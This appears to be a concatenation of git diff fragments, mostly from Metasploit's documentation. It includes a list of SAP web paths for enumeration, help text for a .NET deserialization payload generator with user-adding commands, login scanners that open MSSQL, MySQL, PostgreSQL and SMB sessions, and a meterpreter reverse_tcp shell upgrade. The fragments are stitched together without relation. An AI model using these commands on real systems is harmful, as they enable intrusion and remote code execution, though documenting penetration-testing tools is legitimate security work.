sap/public/bc/webdynpro/adobeChallenge
sap/public/bc/webdynpro/adobechallenge
sap/public/bc/webdynpro/mimes
sap/public/bc/webdynpro/ssr
sap/public/bc/webdynpro/viewdesigner
sap/public/bc/webicons
sap/public/bc/workflow
sap/public/bc/workflow/shortcut
sap/public/bsp
sap/public/bsp/sap
sap/public/bsp/sap/
sap/public/bsp/sap/htmlb
sap/public/bsp/sap/public
sap/public/bsp/sap/public/
sap/public/bsp/sap/public/ISE
sap/public/bsp/sap/public/bc
sap/public/bsp/sap/public/faa
sap/public/bsp/sap/public/graphics
sap/public/bsp/sap/public/graphics/
sap/public/bsp/sap/public/graphics/jnet_handler
sap/public/bsp/sap/public/graphics/mimes
sap/public/bsp/sap/system
sap/public/bsp/sap/system_public
sap/public/icf_check
sap/public/icf_info
sap/public/icf_info/
sap/public/icf_info/icr_groups
sap/public/icf_info/icr_urlprefix
sap/public/icf_info/logon_groups
sap/public/icf_info/urlprefix
sap/public/icman
sap/public/info
sap/public/myssocntl
sap/public/ping
sap/wdvd
sap/webcuif
sap/webdynpro/sap/hap_main_document
sap/webdynpro/sap/hap_start_page_powl_ui_ess
sap/webdynpro/sap/hap_store_page_powl_ui_mss
sap/webdynpro/sap/hrtmc_employee_profile
sap/webdynpro/sap/hrtmc_rm_maintenance
sap/webdynpro/sap/hrtmc_ta_assessment
sap/webdynpro/sap/hrtmc_ta_dashboard
sap/webdynpro/sap/wd_analyze_config_user
sap/xi
sap/xi/
sap/xi/adapter_plain
sap/xi/cache
sap/xi/cache_gui
sap/xi/cache_gui_ssl
sap/xi/cache_ssl
sap/xi/docu_apperror
sap/xi/docu_syserror
sap/xi/engine
sap/xi/engine_test
sap/xi/simulation
sap/xml/
sap/xml/cwm
sap/xml/soap
sap/xml/soap/xmla
sap/xml/soap/xmla/fault
sap_java
sap_java/bc
sapmc
sapmc/sapmc.html
sapse/startsld
servlet/com.sap.admin.Critical.Actio
sim/
sim/config/testdata.jsp
sim/config/testerror.jsp
sim/index.html
sld
slm
slmServices/config
slmServices/config?wsdl
slmSolManServices/Config1
socoview
socoview/flddisplay.asp
sp
spml
sysconfig
tc.lm.webadmin.endtoend.public.app
tc/lm/webadmin/clusteradmin
teched/test
test30
top.html
uddi
uddiclient
uddiclient/jsps/index.jsp
useradmin
useradmin/index.jsp
userhome/
utl
vscantest
vscantest/
webdynpro
webdynpro/dispatcher
webdynpro/dispatcher/sap.com/grc~accvwdcomp
webdynpro/dispatcher/sap.com/grc~aewebquery
webdynpro/dispatcher/sap.com/grc~ccappcomp
webdynpro/dispatcher/sap.com/grc~ccxsysbe
webdynpro/dispatcher/sap.com/grc~ccxsysbehr
webdynpro/dispatcher/sap.com/grc~ffappcomp
webdynpro/dispatcher/sap.com/pb/pagebuilder
webdynpro/dispatcher/sap.com/tc~kmc~bc.uwl.ui~wd_ui
webdynpro/dispatcher/sap.com/tc~kmc~bc.uwl.ui~wd_ui/uwl
webdynpro/dispatcher/sap.com/tc~kmc~bc.uwl.ui~wd_ui/uwldetail
webdynpro/dispatcher/sap.com/tc~kmc~bc.uwl.ui~wd_ui/uwldisplayhistory
webdynpro/dispatcher/sap.com/tc~lm~webadmin~mainframe~wd/WebAdminApp
webdynpro/dispatcher/sap.com/tc~sec~ume~wd~enduser/UmeEnduserApp
webdynpro/dispatcher/sap.com/tc~wd~dispwda/servlet_jsp/webdynpro/welcome/root/Welcome.jsp
webdynpro/dispatcher/sap.com/tc~wd~tools
webdynpro/dispatcher/sap.com/tc~wd~tools/Explorer
webdynpro/dispatcher/sap.com/tc~wd~tools/WebDynproConsole
webdynpro/dispatcher/sap.com/tc~wd~tools/explorer
webdynpro/dispatcher/virsa/ccappcomp/ComplianceCalibrator
webdynpro/resources/sap.com/
webdynpro/welcome
webdynpro/welcome/Welcome.jsp
wsd2wsdl
wsnavigator
wsnavigator/enterwsdl.html
wsnavigator/jsps/redirect.jsp
wsnavigator/jsps/sendrequest.jsp
wsnavigator/jsps/test.jsp
wssproc/cert
wssproc/plain
wssproc/ssl
@@ -60,3 +60,4 @@ paid-memberships-pro
woocommerce-payments
file-manager-advanced-shortcode
royal-elementor-addons
backup-backup
+1
View File
@@ -1,2 +1,3 @@
holding_pattern
wplms
bricks
File diff suppressed because it is too large Load Diff
+1 -1
View File
@@ -32,7 +32,7 @@ exclude:
# just-the-docs config
mermaid_enabled: true
mermaid:
version: "9.2.2"
version: "10.8.0"
heading_anchors: true
aux_links_new_tab: true
aux_links:
@@ -82,24 +82,41 @@ Generate a .NET deserialization payload that will execute an operating system
command using the specified gadget chain and formatter.
Available formatters:
* BinaryFormatter
* LosFormatter
* SoapFormatter
* BinaryFormatter
* LosFormatter
* SoapFormatter
Available gadget chains:
* TextFormattingRunProperties
* TypeConfuseDelegate
* WindowsIdentity
* ClaimsPrincipal
* DataSet
* DataSetTypeSpoof
* ObjectDataProvider
* TextFormattingRunProperties
* TypeConfuseDelegate
* WindowsIdentity
Example: ./dot_net.rb -c "net user msf msf /ADD" -f BinaryFormatter -g TextFormattingRunProperties
Available HMAC algorithms: SHA1, HMACSHA256, HMACSHA384, HMACSHA512, MD5
Specific options:
-c, --command <String> The command to run
-f, --formatter <String> The formatter to use (default: BinaryFormatter)
-g, --gadget <String> The gadget chain to use (default: TextFormattingRunProperties)
-o, --output <String> The output format to use (default: raw, see: --list-output-formats)
--list-output-formats List available output formats, for use with --output
-h, --help Show this message
Examples:
./dot_net.rb -c "net user msf msf /ADD" -f BinaryFormatter -g TypeConfuseDelegate -o base64
./dot_net.rb -c "calc.exe" -f LosFormatter -g TextFormattingRunProperties \
--viewstate-validation-key deadbeef --viewstate-validation-algorithm SHA1
General options:
-h, --help Show this message
-c, --command <String> The command to run
-f, --formatter <String> The formatter to use (default: BinaryFormatter)
-g, --gadget <String> The gadget chain to use (default: TextFormattingRunProperties)
-o, --output <String> The output format to use (default: raw, see: --list-output-formats)
--list-output-formats List available output formats, for use with --output
ViewState related options:
--viewstate-generator <String>
The ViewState generator string to use
--viewstate-validation-algorithm <String>
The validation algorithm (default: SHA1, see: Available HMAC algorithms)
--viewstate-validation-key <HexString>
The validationKey from the web.config file
```
The `-g` / `--gadget` option maps to the *gadget_chain* argument for the
@@ -0,0 +1,165 @@
# Metasploit DNS
## Background
Most applications that need to handle hostname to IP address lookups rely on the host operating system, either by
passing the hostname directly to the socket-creation function or by calling a purpose built API such as `getaddrinfo`.
This was also how Metasploit handled name lookups and would only directly communicate with a DNS server when the request
was more involved than mapping a hostname to an IPv4 or IPv6 address.
One flaw in this approach is that when pivoting connections over a session, the DNS lookups would occur through the host
on which Metasploit was running instead of the compromised host from which the connection would originate. This lead to
two issues, the first being the aforementioned DNS leaks and the second that Metasploit could not always resolve
hostnames that the compromised system could.
Starting in Metasploit 6.4, Metasploit uses an internal DNS resolution system that grants the user a high degree of
control over the process of DNS queries.
## The DNS command
Metasploit's DNS configuration is controlled by the `dns` command which has multiple subcommands.
The current configuration can be printed by running `dns print`:
```msf6
msf6 > dns print
Default search domain: N/A
Default search list: lab.lan
Current cache size: 0
Resolver rule entries
=====================
# Rule Resolver Comm channel
- ---- -------- ------------
1 *
. \_ static N/A
. \_ 127.0.0.53
Static hostnames
================
Hostname IPv4 Address IPv6 Address
-------- ------------ ------------
localhost 127.0.0.1 ::1
\_ 127.1.1.1
localhost.localdomain 127.0.0.1 ::1
localhost4 127.0.0.1
localhost4.localdomain4 127.0.0.1
localhost6 ::1
localhost6.localdomain6 ::1
```
The `help` subcommand can be used to display the available subcommands. The name of a subcommand can also be specified
as an argument to `help` to display additional information about that subcommand, for example `dns help add`.
Metasploit's DNS system is composed of the following major components: resolver rules, static entries and the cache.
## DNS Resolver Rules
DNS resolver rules are a single wildcard that is associated with zero or more resolver types. When a query name matches
the wildcard expression, the associated resolvers are used in succession until one is capable of fulfilling the request.
For example, a wildcard pattern of `*.lab.lan` would match `www.lab.lan` and `_ldap._tcp.lab.lan`, but not `lab.lan` or
`msflab.lan`. Furthermore, the `*` wildcard pattern matches everything and should be used as a default rule.
Once a rule that matches the query name is found, the specified resolvers will be tried in order until one is capable of
handling the request. Different resolver types can be specified to handle queries in different ways. Rules are listed
in numeric order starting at position 1. Rules can be added to or removed from specific positions in a similar manner to
how iptables rules can be added to and removed from a specific chain.
### The Black Hole Resolver
The black hole resolver can be used to prevent queries from being resolved. It handles all query types and will prevent
resolvers defined after it from being used. The black hole resolver is specified by using the `black-hole` keyword.
### The Upstream Resolver
An upstream resolver can be used by specifying either an IPv4 or IPv6 address. When Metasploit uses this resolver, the
defined host will be contacted over the network. A session can optionally be defined through which network traffic will
be sent.
### The System Resolver
The system resolver can be used for hostname resolution to either IPv4 or IPv6 addresses by invoking the host operating
system's API. This is particularly useful in cases where the system's API is expected to be hooked by an external entity
such as proxychains. The system resolver is specified by using the `system` keyword. Queries that can not be fulfilled
by simply translating the query name to an IP address (e.g. PTR, TXT and SRV queries) will use the next resolver that is
configured in the rule.
### The Static Resolver
The static resolver can be used for hostname resolution to either IPv4 or IPv6 addresses through a static mapping that
is configured within Metasploit. This functionality is analogous to the `hosts` file found on many systems which defines
static hostname to IP address associations. The static resolver is specified by using the `static` keyword. Queries that
can not be fulfilled by simply translating the query name to an IP address (e.g. PTR, TXT and SRV queries) will use the
next resolver that is configured in the rule.
See [Static DNS Entries](#static-dns-entries) for configuring static entries.
### Example Rules
Define a single rule in the first position to handle all queries through three resolvers, first checking if there is a
static entry in Metasploit then using the system resolver and finally specifying an upstream DNS server to handle any
other query type.
```
dns add --index 1 --rule * static system 192.0.2.1
```
Append a rule to the end that will handle all queries for `*.lab.lan` using an upstream server contacted through session
1.
```
dns add --rule *.lab.lan --session 1 192.0.2.1
```
Append a rule to drop all queries for `*.noresolve.lan` using the black hole resolver.
```
dns add --rule *.noresolve.lan black-hole
```
## Static DNS Entries
Static entries used by the static resolver are configured through the `add-static` and `remove-static` subcommands. The
currently configured entries can be viewed in the `dns print` output and all entries can be flushed with the
`flush-static` subcommand. Static entries that are configured are shared across *all* rules in which a static resolver
is specified. In order for the static entry to be used, at least one rule must match the hostname, and that rule must be
configured to use the static resolver. A single hostname can be associated with multiple IP addresses and the same IP
address can be associated with multiple hostnames.
### Example Static Entries
Define static entries for `localhost` and common variations.
```
dns add-static localhost 127.0.0.1 ::1
dns add-static localhost4 127.0.0.1
dns add-static localhost6 ::1
```
Remove all static entries for `localhost`.
```
dns remove-static localhost
```
Remove all static entries.
```
dns flush-static
```
## The DNS Cache
DNS query replies are cached internally by Metasploit based on their TTL. This intends to minimize the amount of network
traffic required to perform the necessary lookups. The number of query replies that are currently cached is available in
the `dns print` output and all replies can be flushed with the `flush-cache` subcommand.
## Configuration Management
The DNS configuration can be saved using the `save` command from the `msfconsole` command context. Once saved, the
settings will be automatically restored the next time Metasploit starts up. Any changes that are made at runtime will be
lost when Metasploit exits, unless the `save` command is used.
### Resetting the Configuration
The DNS configuration can be restored to the default state by using the `reset-config` subcommand. The default
configuration:
* Populates the static entries from the host operating system's `hosts` file
* Defines a single rule that matches all query names whose first resolver is the `static` resolver and the remaining
resolvers are set from the host operating systems' resolv.conf file
## Resolving hostnames
The `resolve` subcommand can be used to resolve a hostname to either an IPv4 or IPv6 address. In doing so, the rule that
was used to define the resolvers will be printed allowing the wildcard matching logic to be tested.
@@ -29,7 +29,7 @@ All of the above features can also be logically separated within workspaces. By
## Using msfdb
Using msfdb is simple. If you are starting the database for the first time navigate to the folder Metasploit is saved to, and run `./msfdb init`.
Using msfdb is simple. If you are starting the database for the first time navigate to the folder Metasploit is saved to, and run `./msfdb init`
```
Creating database at /Users/your_current_account_name/.msf4/db
Starting database at /Users/your_current_account_name/.msf4/db...success
@@ -39,9 +39,14 @@ Starting database at /Users/your_current_account_name/.msf4/db...success
Creating initial database schema
```
This looks like a lot of information, but all it's saying is that it's creating the database Metasploit will use to store information.
This looks like a lot of information, but all it's saying is that it's creating the database Metasploit will use to store information. If you start up msfconsole now it should automatically connect to the database, and if you run `db_status` you should see something like this:
msfdb then needs to establish the credentials that are used in the Web Service. The Web Service is how Metasploit connects to the database we have just created. The first prompt asks you what username you want to use to connect to the database.
```
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.
```
You can also setup a Web Service, which Metasploit can use to connect to the database you have just created. Msfdb needs to establish the credentials that are used in the Web Service. If you run `msfdb --component webservice init` the first prompt asks you what username you want to use to connect to the database:
```
[?] Initial MSF web service account username? [your_current_account_name]:
@@ -3,11 +3,23 @@
Microsoft SQL Server (MSSQL) is a relational database management system. Commonly used in conjunction with web applications
and other software that need to persist data. MSSQL is a useful target for data extraction and code execution.
MySQL is frequently found on port on the following ports:
MSSQL is frequently found on port on the following ports:
- 1433/TCP
- 1434/UDP
For a full list of MSSQL modules run the `search` command within msfconsole:
```msf
msf6 > search mssql
```
Or to search for modules that work with a specific session type:
```msf
msf6 > search session_type:mssql
```
### Lab Environment
Environment setup:
@@ -26,6 +38,176 @@ use auxiliary/admin/mssql/mssql_sql
run rhost=192.168.123.13 username=administrator password=p4$$w0rd sql='select auth_scheme from sys.dm_exec_connections where session_id=@@spid'
```
### Logging in and obtaining a session
To log in or obtain an interactive session on an MSSQL instance running on the target, use mssql_login
```msf
use auxiliary/scanner/mssql_login
run CreateSession=true RPORT=1433 RHOSTS=192.168.2.242 USERNAME=user PASSWORD=password
```
The CreateSession option, when set to true, will result in returning an interactive MSSQL session with the target machine
on a successful login:
```msf
[*] 192.168.2.242:1433 - 192.168.2.242:1433 - MSSQL - Starting authentication scanner.
[!] 192.168.2.242:1433 - No active DB -- Credential data will not be saved!
[+] 192.168.2.242:1433 - 192.168.2.242:1433 - Login Successful: WORKSTATION\user:password
[*] MSSQL session 1 opened (192.168.2.1:60963 -> 192.168.2.242:1433) at 2024-03-15 13:41:31 -0500
[*] 192.168.2.242:1433 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
Which you can interact with using `sessions -i <session id>` or `sessions -i -1` to interact with the most recently opened session.
```msf
msf6 auxiliary(scanner/mssql/mssql_login) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 mssql MSSQL test @ 192.168.2.242:1433 192.168.2.1:60963 -> 192.168.23.242:1433 (192.168.2.242)
msf6 auxiliary(scanner/mssql/mssql_login) > sessions -i 1
[*] Starting interaction with 1...
mssql @ 192.168.2.242:1433 (master) > query 'select @@version;'
Response
========
# NULL
- ----
0 Microsoft SQL Server 2022 (RTM) - 16.0.1000.6 (X64)
Oct 8 2022 05:58:25
Copyright (C) 2022 Microsoft Corporation
Developer Edition (64-bit) on Windows Server 2022 Stand
ard 10.0 <X64> (Build 20348: ) (Hypervisor)
```
When interacting with a session, the help command can be useful:
```msf
mssql @ 192.168.2.242:1433 (master) > help
Core Commands
=============
Command Description
------- -----------
? Help menu
background Backgrounds the current session
bg Alias for background
exit Terminate the PostgreSQL session
help Help menu
irb Open an interactive Ruby shell on the current session
pry Open the Pry debugger on the current session
sessions Quickly switch to another session
MSSQL Client Commands
=====================
Command Description
------- -----------
query Run a single SQL query
query_interactive Enter an interactive prompt for running multiple SQL queries
Local File System Commands
==========================
Command Description
------- -----------
getlwd Print local working directory (alias for lpwd)
lcat Read the contents of a local file to the screen
lcd Change local working directory
ldir List local files (alias for lls)
lls List local files
lmkdir Create new directory on local machine
lpwd Print local working directory
This session also works with the following modules:
auxiliary/admin/mssql/mssql_enum
auxiliary/admin/mssql/mssql_escalate_dbowner
auxiliary/admin/mssql/mssql_escalate_execute_as
auxiliary/admin/mssql/mssql_exec
auxiliary/admin/mssql/mssql_findandsampledata
auxiliary/admin/mssql/mssql_idf
auxiliary/admin/mssql/mssql_sql
auxiliary/admin/mssql/mssql_sql_file
auxiliary/scanner/mssql/mssql_hashdump
auxiliary/scanner/mssql/mssql_schemadump
exploit/windows/mssql/mssql_payload
```
To interact directly with the session as if in a SQL prompt, you can use the `query` command.
```msf
msf6 auxiliary(scanner/mssql/mssql_login) > sessions -i -1
[*] Starting interaction with 2...
mssql @ 192.168.2.242:1433 (master) > query -h
Usage: query
Run a single SQL query on the target.
OPTIONS:
-h, --help Help menu.
-i, --interact Enter an interactive prompt for running multiple SQL queries
Examples:
query select @@version;
query select user_name();
query select name from master.dbo.sysdatabases;
mssql @ 192.168.2.242:1433 (master) > query 'select @@version;'
Response
========
# NULL
- ----
0 Microsoft SQL Server 2022 (RTM) - 16.0.1000.6 (X64)
Oct 8 2022 05:58:25
Copyright (C) 2022 Microsoft Corporation
Developer Edition (64-bit) on Windows Server 2022 Standard 10.0 <X64> (B
uild 20348: ) (Hypervisor)
```
Alternatively you can enter a SQL prompt via the `query_interactive` command which supports multiline commands:
```msf
mssql @ 192.168.2.242:1433 (master) > query_interactive -h
Usage: query_interactive
Go into an interactive SQL shell where SQL queries can be executed.
To exit, type 'exit', 'quit', 'end' or 'stop'.
mssql @ 192.168.2.242:1433 (master) > query_interactive
[*] Starting interactive SQL shell for mssql @ 192.168.2.242:1433 (master)
[*] SQL commands ending with ; will be executed on the remote server. Use the exit command to exit.
SQL >> select *
SQL *> from information_schema.tables
SQL *> where table_type = 'BASE TABLE';
[*] Executing query: select * from information_schema.tables where table_type = 'BASE TABLE';
Response
========
# TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
- ------------- ------------ ---------- ----------
0 master dbo spt_fallback_db BASE TABLE
1 master dbo spt_fallback_dev BASE TABLE
2 master dbo spt_fallback_usg BASE TABLE
4 master dbo Users BASE TABLE
5 master dbo spt_monitor BASE TABLE
6 master dbo MSreplication_options BASE TABLE
SQL >>
```
### Link crawling
Identify if the SQL server has been configured with trusted links, which allows running queries on other MSSQL instances:
@@ -17,6 +17,12 @@ There are more modules than listed here, for the full list of modules run the `s
msf6 > search mysql
```
Or to search for modules that work with a specific session type:
```msf
msf6 > search session_type:mysql
```
### Lab Environment
When testing in a lab environment MySQL can either be installed on the host machine or within Docker:
@@ -79,6 +85,158 @@ run cidr:/24:mysql://user:pass@192.168.222.0 threads=50
run cidr:/24:mysql://user@192.168.222.0 threads=50 pass_file=./wordlist.txt
```
### Obtaining an Interactive Session on the Target
The CreateSession option in `auxiliary/scanner/mysql/msql_login` allows you to obtain an interactive session
for the MySQL client you're connecting to. The run command with CreateSession
set to true should give you an interactive session:
```msf
msf6 > use scanner/mysql/mysql_login
msf6 auxiliary(scanner/mysql/mysql_login) > run rhost=127.0.0.1 rport=4306 username=root password=password createsession=true
[+] 127.0.0.1:4306 - 127.0.0.1:4306 - Found remote MySQL version 11.2.2
[+] 127.0.0.1:4306 - 127.0.0.1:4306 - Success: 'root:password'
[*] MySQL session 1 opened (127.0.0.1:53241 -> 127.0.0.1:4306) at 2024-03-12 12:40:46 -0500
[*] 127.0.0.1:4306 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/mysql/mysql_login) > sessions -i -1
[*] Starting interaction with 1...
mysql @ 127.0.0.1:4306 >
```
You can interact with your new session using `sessions -i -1` or `sessions <session id>`.
You can also use `help` to get more information about how to use your session.
```msf
msf6 auxiliary(scanner/mysql/mysql_login) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
2 mssql MSSQL test @ 192.168.2.242:1433 192.168.2.1:61428 -> 192.168.2.242:1433 (192.168.2.242)
3 mysql MySQL root @ 127.0.0.1:4306 127.0.0.1:61450 -> 127.0.0.1:4306 (127.0.0.1)
msf6 auxiliary(scanner/mysql/mysql_login) > sessions -i 3
[*] Starting interaction with 3...
```
When interacting with a session, the help command can be useful:
```msf
mysql @ 127.0.0.1:4306 > help
Core Commands
=============
Command Description
------- -----------
? Help menu
background Backgrounds the current session
bg Alias for background
exit Terminate the PostgreSQL session
help Help menu
irb Open an interactive Ruby shell on the current session
pry Open the Pry debugger on the current session
sessions Quickly switch to another session
MySQL Client Commands
=====================
Command Description
------- -----------
query Run a single SQL query
query_interactive Enter an interactive prompt for running multiple SQL queries
Local File System Commands
==========================
Command Description
------- -----------
getlwd Print local working directory (alias for lpwd)
lcat Read the contents of a local file to the screen
lcd Change local working directory
ldir List local files (alias for lls)
lls List local files
lmkdir Create new directory on local machine
lpwd Print local working directory
This session also works with the following modules:
auxiliary/admin/mysql/mysql_enum
auxiliary/admin/mysql/mysql_sql
auxiliary/scanner/mysql/mysql_file_enum
auxiliary/scanner/mysql/mysql_hashdump
auxiliary/scanner/mysql/mysql_schemadump
auxiliary/scanner/mysql/mysql_version
auxiliary/scanner/mysql/mysql_writable_dirs
exploit/multi/mysql/mysql_udf_payload
exploit/windows/mysql/mysql_mof
exploit/windows/mysql/mysql_start_up
```
Once you've done that, you can run any MySQL query against the target using the `query` command:
```msf
mysql @ 127.0.0.1:4306 > query -h
Usage: query
Run a single SQL query on the target.
OPTIONS:
-h, --help Help menu.
-i, --interact Enter an interactive prompt for running multiple SQL queries
Examples:
query SHOW DATABASES;
query USE information_schema;
query SELECT * FROM SQL_FUNCTIONS;
query SELECT version();
mysql @ 127.0.0.1:4306 > query 'SELECT version();'
Response
========
# version()
- ---------
0 11.2.2-MariaDB-1:11.2.2+maria~ubu2204
```
Alternatively you can enter a SQL prompt via the `query_interactive` command which supports multiline commands:
```msf
mysql @ 127.0.0.1:4306 () > query_interactive -h
Usage: query_interactive
Go into an interactive SQL shell where SQL queries can be executed.
To exit, type 'exit', 'quit', 'end' or 'stop'.
mysql @ 127.0.0.1:4306 () > query_interactive
[*] Starting interactive SQL shell for mysql @ 127.0.0.1:4306 ()
[*] SQL commands ending with ; will be executed on the remote server. Use the exit command to exit.
SQL >> SELECT table_name
SQL *> FROM information_schema.tables
SQL *> LIMIT 2;
[*] Executing query: SELECT table_name FROM information_schema.tables LIMIT 2;
Response
========
# table_name
- ----------
0 ALL_PLUGINS
1 APPLICABLE_ROLES
SQL >>
```
### MySQL Dumping
User and hash dump:
@@ -17,6 +17,13 @@ There are more modules than listed here, for the full list of modules run the `s
msf6 > search postgres
```
Or to search for modules that work with a specific session type:
```msf
msf6 > search session_type:postgres
```
### Lab Environment
When testing in a lab environment PostgreSQL can either be installed on the host machine or within Docker:
@@ -80,6 +87,158 @@ run cidr:/24:postgres://user:pass@192.168.222.0 threads=50
run cidr:/24:postgres://user@192.168.222.0 threads=50 pass_file=./wordlist.txt
```
### Obtaining an Interactive Session
The CreateSession option for `auxiliary/scanner/postgres/postgres_login` allows you to obtain an
interactive session for the Postgres client you're connecting to. The run command with CreateSession
set to true should give you an interactive session.
For example:
```msf
msf6 auxiliary(scanner/postgres/postgres_login) > run rhost=127.0.0.1 rport=5432 username=postgres password=password database=template1 createsession=true
```
Should yield:
```msf
[+] 127.0.0.1:5432 - Login Successful: postgres:password@template1
[*] PostgreSQL session 1 opened (127.0.0.1:61324 -> 127.0.0.1:5432) at 2024-03-15 14:00:12 -0500
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
You can interact with your session using `sessions -i -1` or `sessions <session id>`.
Use the help command for more info.
```msf
msf6 auxiliary(scanner/postgres/postgres_login) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 postgresql PostgreSQL postgres @ 127.0.0.1:5432 127.0.0.1:61324 -> 127.0.0.1:5432 (127.0.0.1)
msf6 auxiliary(scanner/postgres/postgres_login) > sessions -i 1
[*] Starting interaction with 1...
```
When interacting with a session, the help command can be useful:
```msf
postgresql @ 127.0.0.1:5432 (template1) > help
Core Commands
=============
Command Description
------- -----------
? Help menu
background Backgrounds the current session
bg Alias for background
exit Terminate the PostgreSQL session
help Help menu
irb Open an interactive Ruby shell on the current session
pry Open the Pry debugger on the current session
sessions Quickly switch to another session
PostgreSQL Client Commands
==========================
Command Description
------- -----------
query Run a single SQL query
query_interactive Enter an interactive prompt for running multiple SQL queries
Local File System Commands
==========================
Command Description
------- -----------
getlwd Print local working directory (alias for lpwd)
lcat Read the contents of a local file to the screen
lcd Change local working directory
ldir List local files (alias for lls)
lls List local files
lmkdir Create new directory on local machine
lpwd Print local working directory
This session also works with the following modules:
auxiliary/admin/postgres/postgres_readfile
auxiliary/admin/postgres/postgres_sql
auxiliary/scanner/postgres/postgres_hashdump
auxiliary/scanner/postgres/postgres_schemadump
auxiliary/scanner/postgres/postgres_version
exploit/linux/postgres/postgres_payload
exploit/multi/postgres/postgres_copy_from_program_cmd_exec
exploit/multi/postgres/postgres_createlang
exploit/windows/postgres/postgres_payload
```
Once you've done that, you can run any Postgres query against the target using the `query` command:
```msf
postgresql @ 127.0.0.1:5432 (template1) > query -h
Usage: query
Run a single SQL query on the target.
OPTIONS:
-h, --help Help menu.
-i, --interact Enter an interactive prompt for running multiple SQL queries
Examples:
query SELECT user;
query SELECT version();
query SELECT * FROM pg_catalog.pg_tables;
postgresql @ 127.0.0.1:5432 (template1) > query 'SELECT version();'
[*] SELECT 1
Response
========
# version
- -------
0 PostgreSQL 14.1 on aarch64-apple-darwin20.6.0, compiled by Apple clang version 12.0.5 (clang-1205.0.22.9), 64-bit
```
Alternatively you can enter a SQL prompt via the `query_interactive` command which supports multiline commands:
```msf
postgresql @ 127.0.0.1:5432 (template1) > query_interactive -h
Usage: query_interactive
Go into an interactive SQL shell where SQL queries can be executed.
To exit, type 'exit', 'quit', 'end' or 'stop'.
postgresql @ 127.0.0.1:5432 (template1) > query_interactive
[*] Starting interactive SQL shell for postgresql @ 127.0.0.1:5432 (template1)
[*] SQL commands ending with ; will be executed on the remote server. Use the exit command to exit.
SQL >> SELECT table_name
SQL *> FROM information_schema.tables
SQL *> LIMIT 2;
[*] Executing query: SELECT table_name FROM information_schema.tables LIMIT 2;
[*] SELECT 2
Response
========
# table_name
- ----------
0 pg_statistic
1 pg_type
SQL >>
```
### PostgreSQL Capture Server
Captures and log PostgreSQL credentials:
@@ -8,7 +8,7 @@ There are two main ports for SMB:
- 445/TCP - Newer versions of SMB use this port, were NetBIOS is not used.
Other terminology to be aware of:
- SMB - Serer Message Blocks
- SMB - Server Message Blocks
- CIFS - Common Internet File System
- Samba - A free software re-implementation of SMB, which is frequently found on unix-like systems
@@ -27,6 +27,12 @@ There are more modules than listed here, for the full list of modules run the `s
msf6 > search smb
```
Or to search for modules that work with a specific session type:
```msf
msf6 > search session_type:smb
```
### Lab Environment
When testing in a lab environment - SMB can be used on a Window's host machine, or within Docker.
@@ -63,6 +69,122 @@ Restart the service:
service smbd restart
```
### SMB Login and Interactive Sessions
When using the smb_login module, the CreateSession option can be used to obtain an interactive
session within the smb instance. Running with the following options:
```msf
msf6 auxiliary(scanner/smb/smb_login) > run CreateSession=true RHOSTS=172.14.2.164 RPORT=445 SMBDomain=windomain.local SMBPass=password SMBUser=username
```
Should give you output similar to
```msf
[*] 172.14.2.164:445 - 172.14.2.164:445 - Starting SMB login bruteforce
[+] 172.14.2.164:445 - 172.14.2.164:445 - Success: 'windomain.local\username:password' Administrator
[*] SMB session 1 opened (172.16.158.1:62793 -> 172.14.2.164:445) at 2024-03-12 17:03:09 +0000
[*] 172.14.2.164:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_login) > sessions -i -1
[*] Starting interaction with 1...
```
Which you can interact with using `sessions -i <session id>` or `sessions -i -1` to interact with the most recently opened session.
```msf
msf6 auxiliary(scanner/smb/smb_login) > sessions -i -1
[*] Starting interaction with 1...
SMB (172.14.2.164) > shares
Shares
======
# Name Type comment
- ---- ---- -------
0 ADMIN$ DISK|SPECIAL Remote Admin
1 C$ DISK|SPECIAL Default share
2 foo DISK
3 IPC$ IPC|SPECIAL Remote IPC
SMB (172.14.2.164) > shares -i foo
[+] Successfully connected to foo
SMB (172.14.2.164\foo) > ls
ls
===
[truncated]
```
When interacting with a session, the help command can be useful:
```msf
SMB (172.14.2.164\foo) > help
Core Commands
=============
Command Description
------- -----------
? Help menu
background Backgrounds the current session
bg Alias for background
exit Terminate the SMB session
help Help menu
irb Open an interactive Ruby shell on the current session
pry Open the Pry debugger on the current session
sessions Quickly switch to another session
Shares Commands
===============
Command Description
------- -----------
cat Read the file at the given path
cd Change the current remote working directory
delete Delete a file
dir List all files in the current directory (alias for ls)
download Download a file
ls List all files in the current directory
mkdir Make a new directory
pwd Print the current remote working directory
rmdir Delete a directory
shares View the available shares and interact with one
upload Upload a file
Local File System Commands
==========================
Command Description
------- -----------
getlwd Print local working directory (alias for lpwd)
lcat Read the contents of a local file to the screen
lcd Change local working directory
ldir List local files (alias for lls)
lls List local files
lmkdir Create new directory on local machine
lpwd Print local working directory
This session also works with the following modules:
auxiliary/admin/dcerpc/icpr_cert
auxiliary/admin/dcerpc/samr_computer
auxiliary/admin/smb/delete_file
auxiliary/admin/smb/download_file
auxiliary/admin/smb/psexec_ntdsgrab
auxiliary/admin/smb/upload_file
auxiliary/gather/windows_secrets_dump
auxiliary/scanner/smb/pipe_auditor
auxiliary/scanner/smb/pipe_dcerpc_auditor
auxiliary/scanner/smb/smb_enum_gpp
auxiliary/scanner/smb/smb_enumshares
auxiliary/scanner/smb/smb_enumusers
auxiliary/scanner/smb/smb_enumusers_domain
auxiliary/scanner/smb/smb_lookupsid
exploit/windows/smb/psexec
```
### SMB Enumeration
Enumerate SMB version:
@@ -20,3 +20,13 @@ run session=-1
run session=-1 win_transfer=POWERSHELL
run session=-1 win_transfer=VBS
```
If you want to upgrade your shell with fine control over what payload, use the `PAYLOAD_OVERRIDE`, `PLATFORM_OVERRIDE`, and on windows, `PSH_ARCH_OVERRIDE`. All 3 options are required to set an override on windows, and the first two options are required on other platforms, unless you are not using an override.
```
use multi/manage/shell_to_meterpreter
set SESSION 1
set PAYLOAD_OVERRIDE windows/meterpreter/reverse_tcp
